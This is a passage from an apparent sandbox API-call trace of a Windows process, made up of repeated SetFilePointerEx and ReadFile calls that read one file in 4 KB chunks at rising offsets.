lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.570] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.571] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.571] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.571] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.571] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.571] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.571] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.571] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.571] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.571] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.571] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.571] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.571] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.571] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.571] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.572] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.572] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.572] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.576] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.576] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.576] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.576] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.576] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.577] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.579] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.579] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.579] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.579] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.579] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.579] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.579] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.579] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.579] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.579] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.579] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.579] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.579] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.581] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.582] 